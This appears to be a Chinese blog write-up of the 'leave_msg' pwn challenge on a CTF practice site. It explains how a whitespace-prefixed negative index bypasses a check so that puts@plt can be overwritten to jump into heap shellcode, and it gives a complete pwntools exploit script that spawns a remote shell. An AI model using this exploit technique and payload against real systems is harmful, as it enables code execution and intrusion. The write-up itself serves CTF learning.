leave_msg的wp

https://hackme.inndy.tw/scoreboard/ 題目很有趣,我做了leave_msg這個題目感覺還不錯,我把wp分享出來,方便大家學習
leave_msg的題目要求是:

nc hackme.inndy.tw 7715
I am on a vacation, leave the message for me.

把leave_msg直接拖入ida中:
image
這個程序流程很簡單,首先輸入留言,然後輸入留言的序號,最多隻能留三條留言,最後程序把你的留言打出來。這個程序會把你寫的留言保存到bss段,同時限制你留言的長度不能超過8個字符,留言的序號也限制在小於64條,而且,輸入的序號第一個字符不能是“-”(v3 <= 64 && nptr != 45
先運行一下程序看一下這個程序幹了啥
image
再看看程序開啓了哪些保護:
image
看到這個程序開了棧段可執行,還關閉了隨機基地址,所以這個程序只要找到漏洞就可以利用起來

我的思路是在輸入留言序號的時候輸入負數,向上覆蓋puts@plt中的地址,使程序在運行到puts的函數時能跳到我的shellcode中執行。因爲輸入序號的第一個字符不能是”-“,所以利用atoi( ) 函數會掃描參數 nptr字符串,跳過前面的空白字符(例如空格,tab縮進)這個特性,在輸入序號之前輸入幾個空格,然後再輸入負數就可以繞過v3 <= 64 && nptr != 45這個限制了
Ps:
(1)這個程序首先不是整數溢出,因爲當輸入大於2147483647數字時,atoi會一直輸出7FFFFFFF
(2)雖然程序用了strdup這個函數,但是程序不是uaf,或者堆溢出,因爲沒有釋放內存的操作
(3)這個程序不是棧溢出,雖然read函數可以在緩衝區輸入很多字符,但是輸入的字符始終沒有覆蓋到__libc_start_main的返回地址,導致沒有辦法利用

所以我都exp是

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x80486f1'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)


elf = ELF('/home/h11p/hackme/leave_msg')


#io = process('/home/h11p/hackme/leave_msg')

io = remote('hackme.inndy.tw', 7715)



payload1 =asm("add esp,0x40")+asm("jmp esp")+"\x00"+"\x90"*20+asm(shellcraft.sh())
payload2 = "\x20"*6+"-16"
#debug()

io.recvuntil("I'm busy. Please leave your message:\n")
io.sendline(payload1)
io.recvuntil("Which message slot?\n")
io.send(payload2)
#io.recvuntil("Goodbye\n")
io.interactive()
io.close()

這裏我依靠”\x20”*6+”-16”,讓序號所指向的指針向上跳到puts@plt中,從而覆蓋puts@plt,這樣程序執行到puts時就可以跳到strdup開闢的堆空間中,因爲strdup只能放入八個字節,所以就在堆中放入add esp ,30;jmp esp;這樣的短代碼,因爲strlen在遇到0x00的時候就會停止計數,所以把大段shellcode放入0x00後面,這樣程序就可以順利的執行shellcode了。下圖是程序各個段權限
image
exp執行的效果是:
image

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章